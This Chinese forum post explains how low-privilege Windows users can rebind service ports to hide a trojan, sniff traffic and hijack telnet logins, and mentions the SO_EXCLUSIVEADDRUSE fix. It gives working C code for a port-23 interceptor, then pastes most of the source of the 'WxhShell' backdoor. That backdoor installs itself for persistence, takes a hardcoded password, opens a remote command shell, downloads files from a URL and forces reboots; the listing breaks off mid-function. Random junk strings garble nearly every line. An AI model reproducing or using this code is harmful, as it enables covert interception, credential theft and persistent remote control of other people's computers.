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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 05[SC}MCA  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Hv, LS ;W  
45oR=At n  
  saddr.sin_family = AF_INET; ^}r1;W?n  
T0 {Lq:  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); r*Xuj=  
;d?R:Uw8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); F[0]/  
~ K=b\xc^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Mp]rUPK  
pJ{Y lS{  
  这意味着什么?意味着可以进行如下的攻击: W>LR\]Ti@  
D,6:EV"sa  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 t&p|Ynz?i  
1&2>LE/P  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) > P)w?:k  
r=4eP(w=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 e# bn#  
g=rbPbu  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  54/=G(F   
y)*RV;^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 H>C=zo,oiC  
-HuA \0J  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 x"~JR\yzKJ  
wS*E(IAl  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Y ay?=Y{  
*h|U,T7ew  
  #include A=4OWV?  
  #include / j^  
  #include 0`hdMLONR  
  #include    n*$ g]G$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Je{ykL?N  
  int main() :pUtSs7p}  
  { Yw9GN2AG  
  WORD wVersionRequested; UI#h&j5pW  
  DWORD ret; W4N{S.#!  
  WSADATA wsaData; =#\:}@J5I  
  BOOL val; If.r5z9  
  SOCKADDR_IN saddr; Q20 %"&Xp]  
  SOCKADDR_IN scaddr; he4(hX^  
  int err; CWlw0 X  
  SOCKET s; M`>E|" <  
  SOCKET sc; 1"g<0 W  
  int caddsize; >V~E]P%@  
  HANDLE mt; Lv%x81]K  
  DWORD tid;   ]{iQ21`a-  
  wVersionRequested = MAKEWORD( 2, 2 ); $C\BcKlmv  
  err = WSAStartup( wVersionRequested, &wsaData ); :%.D78&  
  if ( err != 0 ) { #`IN`m|  
  printf("error!WSAStartup failed!\n"); MJvp6n  
  return -1; Vc2`b3"Br  
  } Jb(H %NJ  
  saddr.sin_family = AF_INET; `9 L>*  
   PM+[,H  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 B3BN`mdn>  
G2Zer=rC  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6 r"<jh#  
  saddr.sin_port = htons(23); ise-O1'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) putrSSL}  
  { ?EL zj  
  printf("error!socket failed!\n"); :>*7=q=  
  return -1; _L PHPj^Pg  
  }  J *yg&  
  val = TRUE; Ib`XT0k  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /\Ef%@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9UkBwS`  
  { @VBcJ{e,  
  printf("error!setsockopt failed!\n"); "#]$r  
  return -1; :0ep( <|;  
  } OnK4] S5  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; : 'c&,oLY  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 xmG<]WF>E  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 G#CXs:1pd+  
""H?gsL[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) N$DkX)Z  
  { *Uh!>Iv;  
  ret=GetLastError(); d@^ZSy>L2  
  printf("error!bind failed!\n"); u"8yK5!  
  return -1; Q@niNDaW2  
  } zTp"AuNHN  
  listen(s,2); ;r8X.>P*  
  while(1) n ;Ei\\p!  
  { U17d>]ka  
  caddsize = sizeof(scaddr); ~zgGa:uU  
  //接受连接请求 7"##]m.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Kgv T"s.  
  if(sc!=INVALID_SOCKET) %$I;{-LD  
  { rUl+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); U(Zq= M  
  if(mt==NULL) 9z0p5)]n>  
  { >Q/Dk7#  
  printf("Thread Creat Failed!\n"); VQs5"K"  
  break; C}X\|J  
  } n?Q|)2 2  
  } 5bIw?%dk(  
  CloseHandle(mt); dI2 V>vk  
  } y9;Yiv r)  
  closesocket(s); =vPj%oLp'a  
  WSACleanup(); lk!@?  
  return 0; CAe!7HiR  
  }   ;`Z{7'^U  
  DWORD WINAPI ClientThread(LPVOID lpParam) GVz6-T~\>  
  { Zc yc*{DS  
  SOCKET ss = (SOCKET)lpParam; [m -bV$-d  
  SOCKET sc; \GBuWY3B  
  unsigned char buf[4096]; ,I9bNO,%JK  
  SOCKADDR_IN saddr; fOHxtHM  
  long num; 5N]"~w*  
  DWORD val; 9^x> 3Bo  
  DWORD ret; UBs4K*h|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 KXrjqqXs  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   i@q&5;%%  
  saddr.sin_family = AF_INET; )_:NLo:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); K@2),(z  
  saddr.sin_port = htons(23); Fcx&hj1gQ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }qUX=s GG  
  { $j~RWfw-  
  printf("error!socket failed!\n"); 3'Rx=G'  
  return -1; t:S+%u U  
  } gr{ DWCK  
  val = 100; z{543~Og59  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) So6x"1B  
  { IgzQr >  
  ret = GetLastError(); 3R/bz0 V>  
  return -1; 'R)Tn!6  
  } KoRV %@I  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rjP/l6 ~'  
  { 0_/[k*Re  
  ret = GetLastError(); lYIH/:T  
  return -1; `XKLU  
  } iCoX& "lb  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "tZe>>I  
  { e.%nRhSs3  
  printf("error!socket connect failed!\n"); ^Pf WG*  
  closesocket(sc); y7{?Ip4[  
  closesocket(ss); IBGrt^$M  
  return -1; "MsIjSu  
  } @iiT<  
  while(1) _aphkeqd  
  { xk5 ]^yDp  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #Y! a6h+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 VUc%4U{Cti  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ("@!>|H  
  num = recv(ss,buf,4096,0); } \f0 A-  
  if(num>0) <b.D&  
  send(sc,buf,num,0); #Z#-Ht  
  else if(num==0) x^ni1=kU  
  break;  }ZI7J  
  num = recv(sc,buf,4096,0); V9vTsmo(  
  if(num>0) hP h-+Hb  
  send(ss,buf,num,0); \['Cj*ek  
  else if(num==0) r%_djUd  
  break; U:`Kss`  
  } =I<R!ZSN  
  closesocket(ss); aXVFc5C\  
  closesocket(sc); Qrv<lE1V;  
  return 0 ; wkq 66?  
  } .}t e>]A*  
9$t( &z=  
Gdw VtqbX  
========================================================== e.C)jv6qr  
x2EUr,7  
下边附上一个代码,,WXhSHELL -=="<0c  
+vH4MwG$.&  
========================================================== J,hCvm  
mw!F{pw  
#include "stdafx.h" '91/md5  
{ax:RUQxy  
#include <stdio.h> wJ]d&::@h  
#include <string.h> | Iib|HQ)  
#include <windows.h> ^~dWU>  
#include <winsock2.h> H|*m$| $,  
#include <winsvc.h> [ 3Gf2_  
#include <urlmon.h> 7_L;E~\  
RN1_S  
#pragma comment (lib, "Ws2_32.lib") ig!+2g  
#pragma comment (lib, "urlmon.lib") _#niyW+?~  
do%&m]#;  
#define MAX_USER   100 // 最大客户端连接数 IPk4 ;,  
#define BUF_SOCK   200 // sock buffer .H|-_~Yx|  
#define KEY_BUFF   255 // 输入 buffer $ `c:&  
j.Hf/vi`z  
#define REBOOT     0   // 重启 +0&/g&a\R  
#define SHUTDOWN   1   // 关机 "[k3kAm  
#R"*c hLV  
#define DEF_PORT   5000 // 监听端口 p?!/+  
. vV|hSc  
#define REG_LEN     16   // 注册表键长度 |=w@H]r  
#define SVC_LEN     80   // NT服务名长度 Ulyue  
= &]L00u.  
// 从dll定义API ^c<Ve'-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Wri<h:1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b sX[UF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 53D]3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .]u /O`c]  
\<' ?8ri#  
// wxhshell配置信息 L#J1b!D&<6  
struct WSCFG { +R&gqja  
  int ws_port;         // 监听端口 paK2 xX8E  
  char ws_passstr[REG_LEN]; // 口令 Q?vlfZR`8  
  int ws_autoins;       // 安装标记, 1=yes 0=no (e~Nq  
  char ws_regname[REG_LEN]; // 注册表键名 2 nCA<&  
  char ws_svcname[REG_LEN]; // 服务名 6'/ #+,d'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E fDH6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6 N4~~O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \85i+q:LuA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gJXaPJA{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }OUtsh]y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N['  .BN  
tA;}h7/Lc~  
}; ;`&kZi60Hz  
YWLj?+  
// default Wxhshell configuration siI;"?  
struct WSCFG wscfg={DEF_PORT, Upe%rC(  
    "xuhuanlingzhe", {mg2pfhB!  
    1, M  >u_4AY  
    "Wxhshell", QV!up^Zso  
    "Wxhshell", ,F|f. 7;  
            "WxhShell Service", 3S{ />1Y  
    "Wrsky Windows CmdShell Service", RP"kC4~1  
    "Please Input Your Password: ", aOp\91  
  1, wT@og|M  
  "http://www.wrsky.com/wxhshell.exe", d-qUtgqV86  
  "Wxhshell.exe" b9krOe *j  
    }; _b 0& !l<  
6Oq 7#3]  
// 消息定义模块 HfVZ~PP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +%'(!A?*`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Da|z"I x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mt .sucT  
char *msg_ws_ext="\n\rExit."; }7Uoh(d  
char *msg_ws_end="\n\rQuit."; lN@o2QX  
char *msg_ws_boot="\n\rReboot..."; ^!d3=}:0  
char *msg_ws_poff="\n\rShutdown..."; iTwm3V P  
char *msg_ws_down="\n\rSave to "; >6T8^Nt  
)GpK@R]{  
char *msg_ws_err="\n\rErr!"; d=(mw_-?  
char *msg_ws_ok="\n\rOK!"; LoV<:|GTI  
occ7zcA  
char ExeFile[MAX_PATH]; s!J9|]o  
int nUser = 0; R_C)  
HANDLE handles[MAX_USER]; _f83-':W6  
int OsIsNt; ^('wy};  
(=0.inZ  
SERVICE_STATUS       serviceStatus; XSR 4iu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;l+Leex  
# d  
// 函数声明 .Mbz3;i0  
int Install(void); l#o ~W`  
int Uninstall(void); *@5@,=d  
int DownloadFile(char *sURL, SOCKET wsh); 7#XzrT]  
int Boot(int flag); qGo.WZ$  
void HideProc(void); fC`&g~yK'  
int GetOsVer(void); :;}P*T*PU  
int Wxhshell(SOCKET wsl); $FVNCFN%  
void TalkWithClient(void *cs); ]^E?;1$f?  
int CmdShell(SOCKET sock); la!~\wpa  
int StartFromService(void); :TbgFQ86~  
int StartWxhshell(LPSTR lpCmdLine); lxx2H1([  
RZLq]8pM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3fj4%P"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vXs"Dst  
tmq OJ  
// 数据结构和表定义 ?s01@f#  
SERVICE_TABLE_ENTRY DispatchTable[] = [,Gg^*umS  
{ #mdc[.  
{wscfg.ws_svcname, NTServiceMain}, u 9e@a9c  
{NULL, NULL} K+eM   
}; [n@] r2g)3  
u`W2 +S  
// 自我安装 SUiOJ[5,  
int Install(void) >:-$+I  
{ (`^1Y3&2  
  char svExeFile[MAX_PATH]; oJ^P(]dw  
  HKEY key; X ?O[r3<  
  strcpy(svExeFile,ExeFile); @d'j zs  
V[LglPt  
// 如果是win9x系统,修改注册表设为自启动 VA%J\T|G2\  
if(!OsIsNt) { I7onX,U+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ="+#W6bZT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z/-=%g >HA  
  RegCloseKey(key); ?,z}%p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $Sq:q0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IGl9 g_18  
  RegCloseKey(key); e~OpofJNb  
  return 0; 2y4bwi  
    } *dQSw)R  
  } >4TO=i  
} i-1op> Y  
else { &C}*w2]0S  
sHj/;  
// 如果是NT以上系统,安装为系统服务 3o*YzwRt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); - ).C  
if (schSCManager!=0) )0`C@um  
{ hN_]6,<\  
  SC_HANDLE schService = CreateService .-zom~N-?  
  ( &oNAv-m^GD  
  schSCManager, Rq-ZL{LR7  
  wscfg.ws_svcname, F9^S"qv$  
  wscfg.ws_svcdisp, 203 s^K 61  
  SERVICE_ALL_ACCESS,  mh%VrA q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z{q`GwW  
  SERVICE_AUTO_START, U{mYTN*:j$  
  SERVICE_ERROR_NORMAL, KI.unP%  
  svExeFile, *. t^MP  
  NULL, W?& %x(6M  
  NULL, xT8?&Bx  
  NULL, iZmcI;?u  
  NULL, +A+)=/i;  
  NULL UKGPtKE<  
  ); mpyt5#f  
  if (schService!=0) y_)FA"IkE  
  { Ry&6p>-  
  CloseServiceHandle(schService); tbr=aY$jY  
  CloseServiceHandle(schSCManager); X}]-*T|a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +`4A$#$+y  
  strcat(svExeFile,wscfg.ws_svcname); T{ "(\X$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6]N.%Y[(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kZ~~/?B  
  RegCloseKey(key); @Qe0! (_=  
  return 0; Z+SRXKQ  
    } 9c],<;{'  
  } 637: oT_`O  
  CloseServiceHandle(schSCManager); ceA9) {  
} }V>T M{  
} XW/o<[91  
crCJrN=  
return 1; \8tsDG(1 '  
} H,J8M{  
)7@0[>  
// 自我卸载 )oZ dj`  
int Uninstall(void) lZ0 =;I  
{ *pd@.|^)m  
  HKEY key; 9WHddDA  
gw(z1L5 n  
if(!OsIsNt) { [ ~,AfY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kAx4fE[c  
  RegDeleteValue(key,wscfg.ws_regname); b>k y  
  RegCloseKey(key); M|-)GvR$J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N`i/mP  
  RegDeleteValue(key,wscfg.ws_regname); `oJ [u:b  
  RegCloseKey(key); 2%1hdA<  
  return 0; rqq1TRg  
  } :k"]5>(^  
} *hrd5na  
} +\'t E~V  
else { sLFl!jX  
[aS*%Heu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hZ3bVi)L\  
if (schSCManager!=0) E`q_bn  
{ 1M-pr 8:6s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,Q B<7a+I  
  if (schService!=0) G3]4A&h9v~  
  { E7hhew  
  if(DeleteService(schService)!=0) { rNM;ZPF#  
  CloseServiceHandle(schService); i4Jc.8^9$  
  CloseServiceHandle(schSCManager); oU|c.mYe  
  return 0; |qLh5Ty  
  } =41xkAMnk  
  CloseServiceHandle(schService); 8MBAtVmy  
  } e!`i3KYn"  
  CloseServiceHandle(schSCManager); !k%#R4*>  
} <{pz<io)  
} ^aQ"E9  
g}i61(  
return 1; PH"%kCI:  
} $( )>g>%  
?"FbsMk.d  
// 从指定url下载文件 neh(<>  
int DownloadFile(char *sURL, SOCKET wsh) "b[5]Y{ U  
{ @o^Ww  
  HRESULT hr; ;jPXs  
char seps[]= "/"; <VcQ{F  
char *token; 4 :=]<sc,  
char *file; a?.=V  
char myURL[MAX_PATH]; @;kSx":b  
char myFILE[MAX_PATH]; VpUAeWb  
h![#;>(  
strcpy(myURL,sURL); f?b"iA(6  
  token=strtok(myURL,seps); P2!C|SLK  
  while(token!=NULL) zX~MC?,W1  
  { l,: F  
    file=token; l~.-e^p?  
  token=strtok(NULL,seps); JRFtsio*  
  } +V+a4lU14  
/=h` L ,  
GetCurrentDirectory(MAX_PATH,myFILE); p'fYULYE  
strcat(myFILE, "\\"); {$r[5%L\H  
strcat(myFILE, file); 5IN(|B0  
  send(wsh,myFILE,strlen(myFILE),0); F?cK- .  
send(wsh,"...",3,0); }Lv;!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2tLJU  Z1  
  if(hr==S_OK) eQ"E   
return 0; h~26WLf.  
else N7_"H>O$0U  
return 1; S$3JMFA  
:KN-F86i  
} 7.T?#;'3  
C?Ucu]cW  
// 系统电源模块 :LTN!jj  
int Boot(int flag) nm+s{  
{ -hV*EPQ/  
  HANDLE hToken; .2pK.$.  
  TOKEN_PRIVILEGES tkp; Ah<+y\C  
$"&JWT!#  
  if(OsIsNt) { {)"vN(mX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xpI wrJO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P$sxr  
    tkp.PrivilegeCount = 1; AEuG v}#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )i<j XZ:O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); IAEAhqp  
if(flag==REBOOT) { 4=.so~9odX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2(nlJ7R  
  return 0; :!/8 Hv  
} bfO=;S]b!  
else { `kr?j:g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a> )f=uS  
  return 0; w:l"\Tm  
} W`&hp6Jq  
  } \f)#>+X-  
  else { 6,uX,X5  
if(flag==REBOOT) { ?8 {"x8W;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <X5 fUU"+U  
  return 0; 4sM.C9W  
} h1{3njdr  
else { ~v83pu1!2s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kR9-8I{J  
  return 0; 0Qd:`HF[  
} >{Tm##@,k  
} )jC%a6G!  
Ha#>G<;n  
return 1; [r-p]"R  
} 1sCR4L:+  
<ih[TtZ  
// win9x进程隐藏模块 -![|}pX  
void HideProc(void) +*^H#|!  
{ }-fl$j?9E  
b6M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *' X3z@R  
  if ( hKernel != NULL ) v LZoa-w:  
  { Wl Sm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QM]YJr3r E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @P" p+  
    FreeLibrary(hKernel); G\?YK.Y>  
  } "] iB6  
B?qjkP  
return; :L;a:xSpn=  
} "\=U)CJ  
"vGW2~*)  
// 获取操作系统版本 D-4f.Tq4#  
int GetOsVer(void) JLi|Td "1%  
{ ty`DJO=Omj  
  OSVERSIONINFO winfo; CP{cAzHO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?rIx/>C9  
  GetVersionEx(&winfo); g ci    
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0^ibNiSP  
  return 1; '\GbmD^F  
  else v}x&?fU `  
  return 0; G9 :l'\  
} V> bCKtf&  
j5ve2LiFV%  
// 客户端句柄模块 EIQ p>|5  
int Wxhshell(SOCKET wsl) -(#iIgmP  
{ Q&V;(L62!  
  SOCKET wsh; =ruao'A  
  struct sockaddr_in client; ^H' \"9;7  
  DWORD myID; ~,~eoW7  
{GO#.P"  
  while(nUser<MAX_USER) +{U cspqM  
{ x;')9/3  
  int nSize=sizeof(client); qv*^fiT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X$pJ :M{F$  
  if(wsh==INVALID_SOCKET) return 1; 7= DdrG<  
>U3cTEs cj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); RGU\h[  
if(handles[nUser]==0) r4f~z$QK  
  closesocket(wsh); TU7' J  
else rt| 7h>RQ  
  nUser++; ^KELKv,_  
  } 'eX '  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F\KUZ[%  
,=:D   
  return 0; /SrAW`;"  
} "Yca%:  
@]#1(9P  
// 关闭 socket w-{c.x  
void CloseIt(SOCKET wsh) ym6K !i]q4  
{ ujucZ9}yd  
closesocket(wsh); @<Yy{ ~L|  
nUser--; ,{q;;b9  
ExitThread(0); .}`Ix'.  
} 6(e>P)  
: \}(& >  
// 客户端请求句柄 _7)n(1h[3b  
void TalkWithClient(void *cs) ->{KVPHe{  
{ +H2-ZXr  
3Le{\}-$.  
  SOCKET wsh=(SOCKET)cs; XGMiW0j0B  
  char pwd[SVC_LEN]; -S+zmo8  
  char cmd[KEY_BUFF]; {u9}bx'<  
char chr[1]; D1mfm.9_r^  
int i,j; 2T TdH)  
BRYHX.}h\A  
  while (nUser < MAX_USER) { ^ K E%C;u  
+t:0SRSt  
if(wscfg.ws_passstr) { *cnNuT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {91nL'-'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kE(mVyLQ  
  //ZeroMemory(pwd,KEY_BUFF); 0<B$#8  
      i=0; v6Vcjm  
  while(i<SVC_LEN) { v]c6R-U  
/^|Dbx!u  
  // 设置超时 n\.Vqe  
  fd_set FdRead; LYg- .~<I  
  struct timeval TimeOut; HX{`Vah E  
  FD_ZERO(&FdRead); w8D"CwS1Rx  
  FD_SET(wsh,&FdRead); XF_pN[}  
  TimeOut.tv_sec=8; lUiL\~Gq  
  TimeOut.tv_usec=0; /[>sf[X\I9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;xs"j-r/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  50C   
]]juN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @Pzu^  
  pwd=chr[0]; -[DOe?T  
  if(chr[0]==0xd || chr[0]==0xa) { 14'45  
  pwd=0; 5Zva:  
  break; .eP.&  
  } g|Fn7]G  
  i++; Dl8;$~  
    } M {Q;:  
qWKAM@  
  // 如果是非法用户,关闭 socket ]P2"[y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $"&{aa  
} BFJnV.0M!  
[R7Y}k:9U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ohGfp9H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?8Cq{  
[,KXze_m  
while(1) { (DP &B%Sf  
\K<QmK  
  ZeroMemory(cmd,KEY_BUFF); Q&| \r  
9,'ncw$/C  
      // 自动支持客户端 telnet标准   qXjxNrK  
  j=0; AlW66YAuQ  
  while(j<KEY_BUFF) { 4vV:EF-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +|>kCtZH%  
  cmd[j]=chr[0]; }k G9!sf  
  if(chr[0]==0xa || chr[0]==0xd) { we?76t:-  
  cmd[j]=0; VgC2+APg  
  break; p`#R<K  
  } oD1/{dRzj  
  j++; 1\rz%E  
    } e2W".+B1  
^4Ah_ U  
  // 下载文件 9Ly]DZ;L  
  if(strstr(cmd,"http://")) { Q7COQ2~K   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  H =^`!  
  if(DownloadFile(cmd,wsh)) Y.ToIka{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A^EE32kbm  
  else SrK<fAkx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y e? 'Ze  
  } c>~*/%+  
  else { ,V:SN~P66+  
^J8lBLqe  
    switch(cmd[0]) { ~Ti'FhN  
  bl(RyA gA  
  // 帮助 j;iAD:nf  
  case '?': { GU8sO@S5#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  !V g`  
    break; 4J([6<  
  } pDCeQ6?  
  // 安装 KX7 >^Bt&k  
  case 'i': { 6,9>g0y'NG  
    if(Install()) ;<2 G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4G>H  
    else U,-39mr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r7,t";?>  
    break; ^vO+(p  
    } @qlK6tE`  
  // 卸载 \3aoM{ztD  
  case 'r': { #!KE\OI;@5  
    if(Uninstall()) 2eol gXp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1.9}_4!  
    else 4l45N6"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6Yxh9*N~]  
    break; z}ddqZ27G$  
    } qF-@V25P  
  // 显示 wxhshell 所在路径 FfPar:PHj  
  case 'p': { `o8/(`a  
    char svExeFile[MAX_PATH]; xzZ38xIhV  
    strcpy(svExeFile,"\n\r"); o;R2p $  
      strcat(svExeFile,ExeFile); hL;(C) (  
        send(wsh,svExeFile,strlen(svExeFile),0); o,8TDg  
    break; ><$d$(  
    } in-HUG  
  // 重启 "#oHYz3D  
  case 'b': { zZ323pq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YCM]VDx4u1  
    if(Boot(REBOOT)) #c?j\Y9nz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f-n1I^|  
    else { * 8_wYYH  
    closesocket(wsh); bNNr]h8y-  
    ExitThread(0); fs%.}^kn  
    } os={PQRD  
    break; g($DdKc|g  
    } }$Tl ?BRpU  
  // 关机 W_8wed:b  
  case 'd': { {|:;]T"y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jesGV<`?l  
